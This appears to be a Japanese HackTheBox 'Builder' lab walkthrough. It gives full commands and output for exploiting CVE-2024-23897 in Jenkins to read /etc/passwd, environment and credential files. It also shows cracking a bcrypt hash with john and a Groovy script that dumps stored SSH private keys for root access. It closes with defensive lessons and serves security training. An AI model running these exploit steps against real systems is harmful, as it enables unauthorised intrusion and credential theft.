HackTheBox: Builder — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 8080/Jenkins
→
22/ssh, 8080/Jenkins
CVE-2024-23897
jenkins-cli.jar @file 任意読取
→
jenkins-cli.jar @file 任意読取
/proc/self/environ
HOME=/var/jenkins_home
→
HOME=/var/jenkins_home
user.txt ✓
→
users.xml + config.xml
bcrypt ハッシュ抽出
→
bcrypt ハッシュ抽出
john でクラック
jennifer:princess
→
jennifer:princess
Jenkins Credentials
root SSH秘密鍵
→
root SSH秘密鍵
Groovy スクリプトコンソール
CredentialsProvider ダンプ
→
CredentialsProvider ダンプ
SSH root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポート・バージョンスキャン
BASH
nmap -Pn -p22,8080 -sV -sC 10.129.230.220
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Jetty 10.0.18 |_http-title: Dashboard [Jenkins] | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Jetty(10.0.18)
🚨
重要発見: ポート 8080 で Jenkins (Jetty 10.0.18 上で稼働) を検出。
HTTP レスポンスヘッダの
X-Jenkins からバージョン 2.441 が判明し、
これは CVE-2024-23897 (未認証の任意ファイル読み取り) の対象バージョンに合致する。
PHASE 2
CVE-2024-23897 の調査 & jenkins-cli.jar の取得
脆弱性の概要
NOTE
Jenkins の CLI コマンドパーサーは、引数の先頭が "@" で始まる場合、 その後に続くパスのファイル内容を読み込んで「1行 = 1引数」として展開する (Java の args4j ライブラリの標準機能)。Jenkins CLI は認証前の段階でも コマンド引数を解析してしまうため、"@/etc/passwd" のように任意の ローカルファイルパスを指定すると、各行がコマンドの引数として扱われ、 「そのような引数/エージェントは存在しない」旨のエラーメッセージに ファイルの中身がそのまま反映されてしまう。これが CVE-2024-23897 (未認証の任意ファイル読み取り) の実体。
jenkins-cli.jar の取得
NOTE
本 CVE の悪用には、対象サーバ自身が配布する jenkins-cli.jar (/jnlpJars/jenkins-cli.jar) をそのまま利用できる(ドキュメント記載の 公式クライアント)。認証は不要。 実機では帯域が非常に細く (~8KB/s 程度)、3.6MB の jar 取得に 8~10分程度かかることがあるため、タイムアウトを十分長く取ること。
BASH
curl -s -m 900 -o jenkins-cli.jar http://10.129.230.220:8080/jnlpJars/jenkins-cli.jar
RESULT
Content-Length: 3623400 (ダウンロード完了後、ファイルサイズが Content-Length と完全一致することを確認)
⚠️
ハマりどころ: タイムアウトを短く設定していると (例: 20秒)、
ダウンロードが途中で打ち切られる。
file コマンドでは
「正常な ZIP アーカイブ」に見えてしまう (先頭のローカルファイルヘッダは
壊れていないため) が、中心ディレクトリ (End of Central Directory) を
欠いた不完全なファイルであり、java -jar 実行時に
Error: Invalid or corrupt jarfile で失敗する。
curl -sI で事前に Content-Length を確認し、
ダウンロード後の実サイズと突き合わせて完全性を検証するのが確実。
PHASE 3
任意ファイル読取 & Jenkins ホームディレクトリの特定
/etc/passwd の読取で脆弱性を確認
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ help "@/etc/passwd"
RESULT
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin java -jar jenkins-cli.jar help [COMMAND] Lists all the available commands or a detailed description of single command. COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
✅
脆弱性確認!
help コマンドは最初の2行しか表示しないが、
/etc/passwd の内容が確かにエラーメッセージに漏洩している。
より多くの行を読み出すには connect-node コマンドを使う
(各行が個別の “No such agent” エラーとして出力される)。
Jenkins ホームディレクトリの特定
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ connect-node "@/proc/self/environ"
RESULT (抜粋)
ERROR: No such agent "HOSTNAME=... JAVA_HOME=/opt/java/openjdk ... HOME=/var/jenkins_home ... JENKINS_HOME=/var/jenkins_home ..." exists.
⚠️
ハマりどころ: 単純に正規表現
HOME=(\S+) で検索すると、
JAVA_HOME=/opt/java/openjdk の一部にマッチしてしまい、
本来欲しい HOME=/var/jenkins_home より先に見つかって
誤った値を拾ってしまう。JENKINS_HOME= も同様に紛らわしい。
「行頭または空白の直後」という条件でアンカーし、単独の HOME=
のみにマッチさせる必要がある。
PHASE 4
user.txt 取得
user.txt の直接読取
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ connect-node "@/var/jenkins_home/user.txt"
RESULT
ERROR: No such agent "01744d1a49b0b1b8fec534b4e0d77fb9" exists.
user.txt — Jenkins コンテナ (未認証ファイル読取)
01744d1a49b0b1b8fec534b4e0d77fb9
PHASE 5
Jenkins ユーザー資格情報の奪取
users.xml からユーザー→ディレクトリの対応を特定
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ connect-node "@/var/jenkins_home/users/users.xml"
RESULT (実機の生出力、行順に注目)
ERROR: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists. ERROR: No such agent " <string>jennifer_12108429903186576833</string>" exists. ERROR: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists. ERROR: No such agent " <entry>" exists. ERROR: No such agent " <string>jennifer</string>" exists. ERROR: No such agent " <version>1</version>" exists. (以下略、</entry> 等が続く)
🚨
重要な発見 (ハマりどころ):
connect-node "@file" が返す
「1行 = 1エラー」の 出現順序はファイルの実際の行順と一致しない
(Jenkins CLI 内部でエラーを集計する Set/Map の走査順に由来すると見られる)。
上の実例でも、本来 <idToDirectoryNameMap> より先に来るはずの
<?xml ...?> 宣言行は正しく先頭に来ているが、
jennifer_12108429903186576833 の行が jennifer の行より
先に 出力されている。「先頭から2件を単純に
ユーザー名/ディレクトリ名としてペアリングする」実装では、
この2行が入れ替わって取得されると ユーザー名とディレクトリ名を
逆に認識してしまう。正しくは、全ての <string>
値を集合として取り出し、「他のいずれかの値が
<自分>_<数字の並び> という形式になっているか」を
順序に依存せず突き合わせて判定するべき。
config.xml から bcrypt ハッシュを抽出
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
RESULT (該当行を抜粋)
ERROR: No such agent " <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
ℹ️
幸い
<passwordHash>...</passwordHash> はファイル中で
1行に収まっているため、行の出現順序が入れ替わっていても、
このタグ自体は1つの完全なトークンとして正しく抽出できる。
順序スクランブルの影響を受けるのは「複数行にまたがる対応関係の復元」
(今回の users.xml のようなケース) のみ。
john でハッシュをクラック
BASH
echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > builder_hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt builder_hash.txt john --show --format=bcrypt builder_hash.txt
RESULT
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) princess (?) 1g 0:00:00:00 DONE ?:princess 1 password hash cracked, 0 left
Jenkins 認証情報 — jennifer
jennifer : princess
Jenkins へログイン確認
BASH
curl -s -u jennifer:princess http://10.129.230.220:8080/whoAmI/api/json
RESULT
{"_class":"hudson.security.WhoAmI","anonymous":false,"authenticated":true,
"authorities":["authenticated"],"name":"jennifer"}
PHASE 6
Jenkins Credentials 悪用による権限昇格 & root.txt
保存済み SSH クレデンシャルの確認
BASH
curl -s -u jennifer:princess \ "http://10.129.230.220:8080/credentials/store/system/domain/_/api/json?tree=credentials[id,description,typeName]"
RESULT
{"_class":"...CredentialsStoreAction$DomainWrapper","credentials":[
{"description":"","id":"1","typeName":"SSH Username with private key"}
]}
🚨
Jenkins のグローバル認証情報ストアに “root” という ID の
SSH秘密鍵クレデンシャルが登録されている。これはビルドパイプラインが
本番ホストへ SSH デプロイするために使われていたものと推測される。
SSH Agent プラグインが有効なため、Pipeline のビルド経由でも
Groovy スクリプトコンソール経由でも、この秘密鍵を取り出せる。
jenkins-cli の groovy コマンドで CredentialsProvider を直接ダンプ
NOTE
PDF (公式ウォークスルー) では、(A) Pipeline ジョブを作成し
sshagent(credentials: ['1']) { sh 'ssh root@target cat /root/.ssh/id_rsa' }
をビルドしてコンソール出力から鍵を回収する方法、または (B) 認証情報編集画面の
"Concealed for Confidentiality" フィールドをブラウザ DevTools で暗号化値のまま
コピーし、/script の hudson.util.Secret.decrypt() で復号する方法、の2通りが
紹介されている。
ここでは、これらと等価だがジョブ作成やブラウザ操作を必要としない
第3の方法として、jenkins-cli の groovy コマンドで Jenkins の
CredentialsProvider API を直接叩き、SSH秘密鍵オブジェクトをそのまま
文字列としてダンプするスクリプトを実行する。認証済みユーザーであれば
グローバル認証情報ストアの内容を横断的に読み出せる。
GROOVY (dump_creds.groovy)
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardCredentials
import jenkins.model.Jenkins
def creds = CredentialsProvider.lookupCredentials(
StandardCredentials.class, Jenkins.instance, null, null)
for (c in creds) {
def uname = ''
def key = ''
try { uname = c.username } catch (Throwable ignored) {}
try { key = c.getPrivateKey() } catch (Throwable ignored) {}
if (!key) {
try { key = c.privateKeySource.getPrivateKeys().join('\n') } catch (Throwable ignored) {}
}
if (key) {
println('---BEGIN-CRED---')
println(uname)
println(key)
println('---END-CRED---')
}
}
BASH
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' \ -auth 'jennifer:princess' groovy = < dump_creds.groovy
RESULT
---BEGIN-CRED--- root -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv <...SNIP (RSA 4096bit 秘密鍵本体)...> iGFOXbo3+1sSg1AAAADHJvb3RAYnVpbGRlcgECAwQFBg== -----END OPENSSH PRIVATE KEY----- ---END-CRED---
✅
root 用 SSH秘密鍵の取得に成功! コメント欄
(
root@builder の base64) からも、ホスト側の root ユーザー用に
生成された鍵であることが裏付けられる。
SSH root ログイン & root.txt 取得
BASH
cat > root_key <<'EOF' -----BEGIN OPENSSH PRIVATE KEY----- <...上記でダンプした秘密鍵...> -----END OPENSSH PRIVATE KEY----- EOF chmod 600 root_key ssh -i root_key -o StrictHostKeyChecking=no root@10.129.230.220 'id; cat /root/root.txt'
RESULT
uid=0(root) gid=0(root) groups=0(root) 2b67befb5fa062a4c7fae9f9b3e16bfe
root.txt — root@builder (ホストマシン)
2b67befb5fa062a4c7fae9f9b3e16bfe
ℹ️
Jenkins プロセス自体は Docker コンテナ内で動作しているが (
/proc/self/environ
の HOSTNAME がランダムな文字列だった点からも判別可能)、
取得した SSH秘密鍵はコンテナの外側、ホストマシンの rootへの
アクセスを許可するものだった。CI/CD パイプラインがホスト側へ
デプロイするために鍵を共有していたことが根本原因。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Jenkins コンテナ
01744d1a49b0b1b8fec534b4e0d77fb9
root.txt — root@builder (ホストマシン)
2b67befb5fa062a4c7fae9f9b3e16bfe
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2024-23897 | Jenkins 2.441 (CLI args4j @ファイル展開) | 未認証の任意ファイル読み取り | Critical | jenkins-cli.jar ... help/connect-node "@<path>" でコントローラ上の任意ファイルを読取 |
| bcrypt パスワードハッシュの漏洩+弱いパスワード | Jenkins ユーザー jennifer | 認証情報の奪取 | High | users/<dir>/config.xml のハッシュを rockyou.txt でクラック (princess) |
| Jenkins Credentials に平文相当で保存された root SSH秘密鍵 | Global Credentials Store (SSH Agent プラグイン) | ホストマシンへの権限昇格 (root) | Critical | 認証済み Groovy スクリプトコンソール/CLI で CredentialsProvider から秘密鍵をダンプ |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 8080/Jenkins 2.441 |
| 2 | CVE調査 | jenkins-cli.jar 取得 | 公式CLIクライアント (3.6MB) |
| 3 | 任意ファイル読取 | CVE-2024-23897 (help/connect-node @file) | /etc/passwd, HOME=/var/jenkins_home |
| 4 | フラグ取得 | connect-node @user.txt | user.txt |
| 5 | 認証情報奪取 | users.xml + config.xml + john | jennifer:princess |
| 6 | 権限昇格 | Groovy CredentialsProvider ダンプ + SSH | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Jenkins が既知の脆弱バージョン (2.441, CVE-2024-23897) のまま運用されている | Jenkins を修正版 (2.442 / LTS 2.426.3 以降) へ速やかにアップデートする。CLI over HTTP を無効化する運用も緩和策として有効。 |
| ユーザーパスワードが辞書攻撃で容易に破られる強度 (princess) | パスワードポリシー (最低長・複雑性) を強制し、多要素認証を導入する。 |
| 本番ホストの root SSH秘密鍵が Jenkins の Credentials Store に平文相当で保存されている | CI/CDのデプロイ鍵はスコープを最小化した専用ユーザーに限定し、root への直接デプロイは避ける。Credentials へのアクセス権限を必要最小限のロールに絞る。Vault等のシークレット管理基盤の利用も検討する。 |
| Jenkins コンテナと権限昇格先のホストマシンが同一の信頼境界にある | CI/CD 環境とデプロイ先ホストの間はネットワーク・権限双方で分離し、侵害の影響範囲を限定する。 |

